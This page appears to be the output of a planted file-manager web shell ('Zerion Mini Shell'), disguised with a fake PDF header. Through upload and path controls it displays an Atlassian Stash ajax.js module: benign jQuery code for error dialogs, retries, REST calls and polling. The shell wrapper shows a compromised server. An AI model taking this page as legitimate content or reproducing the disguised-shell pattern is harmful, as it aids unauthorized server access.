%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/util/ajax.js

define('util/ajax', [
    'aui',
    'jquery',
    'underscore',
    'util/error',
    'util/function',
    'util/navbuilder',
    'model/page-state',
    'widget/error-dialog',
    'exports'
], function(
    _aui,
    $,
    _,
    errorUtil,
    fn,
    navbuilder,
    pageState,
    ErrorDialog,
    exports
) {

    'use strict';

    $.ajaxSetup({
        timeout: 60000
    });


    var errorDialogIsOpen = false;

    function afterCountdown($countdownTimeHolder, intervalMs, endDate, afterCountdownFunc) {
        var now = new Date();

        if (now < endDate) {
            var onSecondsChanged = function() {
                    var secondsLeft = Math.ceil((+endDate - +new Date()) / intervalMs);
                    if (secondsLeft <= 0) {
                        clearInterval(intervalId);
                        afterCountdownFunc();
                    } else {
                        $countdownTimeHolder.text(secondsLeft);
                    }
                },
                intervalId = setInterval(onSecondsChanged, intervalMs);

            onSecondsChanged();
        } else {
            afterCountdownFunc();
        }
    }

    function hideUntilCountdown($el, $replacementEl, $countdownTimeHolder, intervalMs, endDate) {
        var now = new Date();

        if (now < endDate) {
            $el.addClass('hidden');
            $el.before($replacementEl);

            afterCountdown($countdownTimeHolder, intervalMs, endDate, function() {
                $replacementEl.remove();
                $el.removeClass('hidden');
            });
        }
    }

    /**
     * Adds on global error handling to an ajax request.
     *
     * If the ajax request returns with global errors, they will be displayed to the user, and the xhr promise will be rejected.
     *
     * If the error is something that can be fixed with a retry, the error will be displayed, but the xhr promise will NOT be resolved or rejected.
     * Instead, progress callbacks will be called with 'stalled' as the argument. If the user attempts a retry, progress
     * callbacks will be called with 'unstalled' and the result of a retry request will be used to resolve or reject the original xhr promise.
     *
     * @param jqXhr the ajax request to handle global errors for
     * @param ajaxOptions the options object used in the call to $.ajax.  These options are reused if the request needs to be retried.
     */
    function ajaxPipe(jqXhr, ajaxOptions, statusHandlers, isRest) {

        var pipedXhr,
            latestXhr,
            latestAbort;

        function updateLatest(jqXhr) {
            latestXhr = jqXhr;
            latestAbort = latestXhr.abort;
            latestXhr.abort = abort;
        }

        function abort() {
            latestAbort.apply(latestXhr, arguments);
        }

        function handleError(error, data, textStatus, jqXhr, errorThrown, ajaxOptions, isRest) {

            if (error.shouldLogin) {
                // Ideally at this point we want to run as little code as we can to redirect to the log in page ASAP
                // with as little interference as possible.
                window.onbeforeunload = null;
                window.location.href = navbuilder.login().next(window.location.href).build();
                return $.Deferred(); // don't resolve|reject
            }

            if (data) {
                delete data.errors;
            }

            var errorDialog;
            if (!errorDialogIsOpen) {
                errorDialog = new ErrorDialog();
            }

            var deferredToReturn = error.shouldRetry && !errorDialogIsOpen ?
                                   $.Deferred() :
                                   $.Deferred().rejectWith(this, [jqXhr, textStatus, errorThrown, data, errorDialog]);

            if (!errorDialogIsOpen) {

                var extraPanelContent = '',
                    needsRetryCountdown = false;

                var errorHtml = stash.widget.errorContent(error);

                errorDialog.addHideListener(function() {
                    errorDialogIsOpen = false;
                });

                var dialogOptions = {
                    id: 'ajax-error',
                    titleText: error.title,
                    titleClass: error.titleClass || 'error-header',
                    showCloseButton : _.isUndefined(error.canClose) ? true : error.canClose,
                    closeOnOutsideClick : false
                };

                if (error.fallbackUrl) {
                    dialogOptions.okButtonText = _aui.escapeHtml(error.fallbackTitle);

                    errorDialog.addOkListener(function(e) {

                        window.location.href = error.fallbackUrl;

                        e.preventDefault();
                    });

                } else if (error.shouldReload) {
                    dialogOptions.okButtonText = _aui.escapeHtml(AJS.I18n.getText('stash.web.ajax.reload'));

                    errorDialog.addOkListener(function(e) {

                        window.location.reload();

                        e.preventDefault();
                    });

                } else if (error.shouldRetry) {
                    deferredToReturn.notify('stalled');

                    if (error.retryAfterDate) {

                        if (+error.retryAfterDate - +new Date() > 60 * 60 * 1000) {
                            extraPanelContent = AJS.I18n.getText('stash.web.retry.later');
                        } else {
                            needsRetryCountdown = true;
                        }
                    }

                    dialogOptions.okButtonText = _aui.escapeHtml(AJS.I18n.getText('stash.web.ajax.try.again'));

                    var retryXhr;
                    errorDialog.addOkListener(function(e) {

                        deferredToReturn.notify('unstalled');

                        errorDialog.remove();

                        retryXhr = ajax(ajaxOptions, isRest);

                        updateLatest(retryXhr);

                        // pipe results from the retryXhr straight to the deferredToReturn
                        retryXhr.done(function() { return deferredToReturn.resolveWith(this, arguments); });
                        retryXhr.fail(function() { return deferredToReturn.rejectWith(this, arguments); });

                        e.preventDefault();
                    });

                    errorDialog.addHideListener(function() {
                        if (deferredToReturn.state() === 'pending' && !retryXhr) {
                            deferredToReturn.rejectWith(this, [jqXhr, textStatus, errorThrown, data]);
                        }
                    });
                } else {
                    // if the Ok button doesn't do anything but close the dialog, hide the second Close button.
                    dialogOptions.showCloseButton = false;
                }

                dialogOptions.panelContent = '<p>' + errorHtml + extraPanelContent + '</p>';

                errorDialog.reinit(dialogOptions).show();
                errorDialogIsOpen = true;

                if (needsRetryCountdown) {

                    var intervalMs, retryInHtml;
                    if (+error.retryAfterDate - +new Date() > 60 * 1000) {
                        retryInHtml = AJS.I18n.getText('stash.web.retry.in.x.minutes', '<time><span></span>', '</time>');
                        intervalMs = 60 * 1000;
                    } else {
                        retryInHtml = AJS.I18n.getText('stash.web.retry.in.x.seconds', '<time><span></span>', '</time>');
                        intervalMs = 1000;
                    }

                    var $retryMessage = $('<span>' + retryInHtml + '</span>'),
                        $intervalHolder = $retryMessage.children('time').children();
                    hideUntilCountdown(errorDialog.getOkButton(), $retryMessage, $intervalHolder, intervalMs, error.retryAfterDate);
                }

            }

            return deferredToReturn;
        }

        function xhrPipe(data, textStatus, jqXhr, errorThrown, customHandler, fallbackFunc) {

            var error = isRest ?
                        errorUtil.getDominantRESTError(data, jqXhr) :
                        errorUtil.getDominantAJAXError(jqXhr),
                handleErrors = true;

            if (customHandler) {
                var ret = customHandler(error);

                // custom handler can return a deferred which will be piped through. We won't handle errors
                if (ret && typeof ret.promise === 'function') {
                    return ret.promise(jqXhr);
                }

                // custom handler can return a replacement error object which will replace the one we generate
                if (ret && _.isObject(ret)) {
                    error = ret;
                }

                // if the custom handler returns false, we won't handle errors,
                // and will simply fallback to normal behavior
                handleErrors = ret !== false;
            }

            if (handleErrors && error) {
                return handleError(error, data, textStatus, jqXhr, errorThrown, ajaxOptions, isRest);

            } else {
                return fallbackFunc();
            }
        }

        function getStatusHandler(status) {
            var customHandler = statusHandlers[status];
            if (customHandler === undefined || customHandler === null) {
                customHandler = statusHandlers['*'];
            }
            if (typeof customHandler === 'function') {
                return customHandler;
            } else {
                // Allow status handlers to be non-functions (ie false), which should always be returned
                return fn.constant(customHandler);
            }
        }

        function done(data, textStatus, jqXhr) {

            var self = this;

            var customHandler = getStatusHandler(jqXhr.status),
                callCustomHandler = customHandler ? _.bind(customHandler, self, data, textStatus, jqXhr) : null;

            return xhrPipe(data, textStatus, jqXhr, null, callCustomHandler, function() {
                return $.Deferred().resolveWith(self, [ data, textStatus, jqXhr ]);
            });
        }

        function fail(jqXhr, textStatus, errorThrown) {

            var self = this;
            var data = jqXhr.responseText;

            try {
                data = JSON.parse(data);
            } catch(e) {}

            var customHandler = getStatusHandler(jqXhr.status),
                callCustomHandler = customHandler ? _.bind(customHandler, self, jqXhr, textStatus, errorThrown, data) : null;

            return xhrPipe(data, textStatus, jqXhr, errorThrown, callCustomHandler, function() {
                return $.Deferred().rejectWith(self, [ jqXhr, textStatus, errorThrown, data ]);
            });
        }

        updateLatest(jqXhr);

        pipedXhr = jqXhr.then(done, fail);

        // return the original xhr, but with the piped done|fail|notify methods.
        return pipedXhr.promise(jqXhr);
    }

    function ajax(options, internalIsRest) {
        var statusHandlers;
        if (options.statusCode) {
            statusHandlers = options.statusCode;
            delete options.statusCode;
        }
        statusHandlers = statusHandlers || {};

        var xhr = ajaxPipe($.ajax(options), options, statusHandlers, internalIsRest);

        xhr.statusCode = function(map) {
            if (map) {
                if (xhr.state() === 'pending') {
                    $.extend(statusHandlers, map);

                } else {
                    for(var prop in map) {
                        if (map.hasOwnProperty(prop)) {
                            _aui.log('xhr.statusCode() should not be called after the request has completed. ' +
                                    'Your handler will have no affect on the resolution of the request.');
                            break;
                        }
                    }

                    var tmp = map[ xhr.status ];
                    xhr.then( tmp, tmp );
                }
            }
        };

        return xhr;
    }

    function rest(options) {
        var headers = {};
        if (pageState.getCurrentUser()) {
            headers['X-AUSERNAME'] = pageState.getCurrentUser().getName();
            headers['X-AUSERID'] = pageState.getCurrentUser().getId();
        }
        options = $.extend(true, {
            dataType: 'json',
            contentType: 'application/json',
            headers: headers,
            jsonp: false,
            type : "GET"
        }, options);

        if (options.type.toUpperCase() !== 'GET' &&  ($.isPlainObject(options.data) || $.isArray(options.data))) {
            options.data = JSON.stringify(options.data);
        }

        return ajax(options, true);
    }

    // turn form inputs into [{name:'blah', value:'blah'}, ...] with serializeArray,
    // then into { blah: 'blah', ...} via reduce
    function formToJSON($form) {
        // Find all the checked checkboxes with the value 'on' and store them in an object
        var checkboxes = _.reduce($form.find('input[type=checkbox]:checked'), function(obj, entry) {
            var $entry = $(entry);
            // Only process checkboxes with 'on' which is the default for Chrome/Firefox/IE9
            if ($entry.attr('value') === 'on') {
                obj[$entry.attr('name')] = true;
            }
            return obj;
        }, {});
        return _.reduce($form.serializeArray(), function(obj, entry) {
            //paraphrased from http://stackoverflow.com/a/1186309/37685

            var existingVal = obj[entry.name],
                newVal = entry.value === undefined ? '' : entry.value;

            // Override the checkbox value (most likely 'on') with true
            if (checkboxes[entry.name]) {
                newVal = true;
            }

            if (existingVal !== undefined) {
                // make it an array if it's not, since we have multiple values.
                if (!$.isArray(existingVal)) {
                    obj[entry.name] = [ existingVal ];
                }

                // add the new value to the array
                obj[entry.name].push(newVal);

            } else {
                obj[entry.name] = newVal;
            }

            return obj;
        }, {
            //seed with new object
        });
    }

    function poll(options) {
        options = $.extend({
            pollTimeout: 60000,
            interval: 500,
            delay : 0,
            tick: $.noop
        }, options);
        var paused = false;
        var polling = false;
        var defer = $.Deferred(),
            startTime = new Date().getTime(),
            doPoll = function() {
                // Short circuit if the poller is paused or if it is already polling
                if (paused || polling) {
                    return;
                }
                polling = true;
                rest(options).done(function(data, textStatus, xhr) {
                    var isDone = options.tick(data, textStatus, xhr);
                    if (isDone) {
                        defer.resolveWith(this, [data, textStatus, xhr]);
                    } else if ((new Date().getTime() - startTime) > options.pollTimeout || typeof isDone !== 'undefined') {
                        defer.rejectWith(this, [xhr, textStatus, null, data]);
                    } else {
                        setTimeout(doPoll, options.interval);
                    }
                }).fail(function(xhr, textStatus, errorThrown, data) {
                    defer.rejectWith(this, [xhr, textStatus, errorThrown, data]);
                }).always(function() {
                    polling = false;
                });
            };
        setTimeout(doPoll, options.delay);
        var promise = defer.promise();
        promise.resume = function() {
            if (paused) {
                paused = false;
                doPoll();
            }
        };
        promise.pause = function() {
            paused = true;
        };
        return promise;
    }

    exports.ignore404WithinRepository = function (callback) {
        return {
            '404': function (xhr, testStatus, errorThrown, data, fallbackError) {

                var error = data && data.errors && data.errors.length && data.errors[0];

                if (errorUtil.isErrorEntityWithinRepository(error)) {
                    return callback && callback(data) || false; // don't handle this globally.
                }
            }
        };
    };

    exports.ajax = ajax;
    exports.rest = rest;
    exports.poll = poll;
    exports.formToJSON = formToJSON;
});

Zerion Mini Shell 1.0